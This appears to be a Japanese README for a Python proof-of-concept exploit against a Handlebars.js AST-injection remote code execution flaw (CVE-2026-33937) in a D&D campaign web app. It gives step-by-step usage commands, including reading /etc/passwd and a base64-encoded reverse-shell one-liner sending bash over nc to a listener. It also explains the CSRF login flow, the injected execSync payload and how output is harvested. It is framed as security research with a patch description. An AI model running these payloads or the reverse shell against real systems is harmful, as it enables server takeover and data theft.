
Python POC、Handlebars.js AST Injection RCE 用エクスプロイト。影響を受けるのは Handlebars.js バージョン 4.0.0 から 4.7.8 です。CVSS スコア: 9.8 Critical。
影響を受けるのは Handlebars.js バージョン 4.0.0 から 4.7.8 です。CVSS スコア: 9.8 Critical。
CVE-2026-33937 は、Handlebars.js における型取り違え(type confusion)の脆弱性です。Handlebars.compile() 関数は、テンプレート文字列とプリパース済みの AST オブジェクトの両方を入力として受け付けます。攻撃者が細工された AST オブジェクトを渡すと、コンパイラの NumberLiteral ビジターは、ノードの value フィールドをサニタイズなしで生成された JavaScript 関数本体にそのまま挿入します。その結果に対して render() を呼び出すと、Node.js プロセス内で攻撃者制御のコードが実行されます。
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
引数
--url — ターゲットのベース URL(例: http://hello.veer/)(必須)--username — ログイン用メールアドレス(必須)--password — ログインパスワード(必須)--command — 実行する OS コマンド。デフォルトは id(任意)例
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
このスクリプトは、攻撃の実行前に完全なログインを行います。まず /login に GET リクエストを送信してフォームから隠しフィールドの _csrf トークンを取得し、そのトークンを指定されたメールアドレスとパスワードとともに、フォームエンコードされた POST として /login に送信します。成功すると、サーバーは /dashboard への 302 リダイレクトを返し、以降のすべてのリクエストで使用されるセッション Cookie dz.sid を設定します。
アプリの CSRF ミドルウェアはすべての状態変更操作で CSRF トークンを必要とするため、各 POST リクエストの前に新しい CSRF トークンが自動的に取得されます。
アプリケーションは Content-Type: application/json を受け付ける POST /character を公開しています。このルートは新しい D&D キャラクターを作成し、campaign_id が指定されると、campaign_message フィールドをサーバー上で直接 Handlebars.compile() に渡します:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
リクエストボディが JSON の場合、campaign_message は文字列ではなくネストされたオブジェクト(AST)にできるため、フォーム層での文字列検証をバイパスできます。campaign_id フィールドにより、サーバーはレンダリング結果をキャンペーンログメッセージとして保存します。これは GET /campaign/1 で読み取ることができ、攻撃者は帯域外(out-of-band)でコマンド出力を取得できます。
このエクスプロイトは、NumberLiteral と lookup ヘルパーを組み合わせて使用します。
{{lookup this 1}} を通常どおりコンパイルすると、次のようになります:
env.helpers.lookup(this, 1, {options})
注入された NumberLiteral.value が 1 を次のコードで置き換えます:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
生成される JavaScript は次のようになります:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
render() が呼び出されると、execSync() が実行され、その標準出力が式の値として返され、キャンペーンメッセージとして保存されます。
コマンドは内部的に /bin/sh -c 'cmd 2>&1' としてラップされるため、スペースやパイプ、リダイレクトを含むコマンドも正しく動作し、標準エラー出力が標準出力とともに取得されます。
スクリプトはペイロードを送信する前に、キャンペーンメッセージの数を記録します。POST の後に再度 /campaign/1 を取得し、messages[before_count:] をスライスして新しく追加されたエントリだけを抽出します。この方法は、同じコマンドが以前に実行された場合でも正しく処理できます。セットベースの比較では同一の出力が重複排除され、新しい結果を見逃す可能性があるためです。
Handlebars.js の javascript-compiler.js 内で、脆弱なコードは次のとおりです:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
バージョン 4.7.9 では、compile() のエントリポイントに型チェックが追加され、コードジェネレータに到達する前に文字列以外の入力をすべて拒否します:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
このリポジトリは、セキュリティ研究と教育のみを目的としています。このエクスプロイトは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。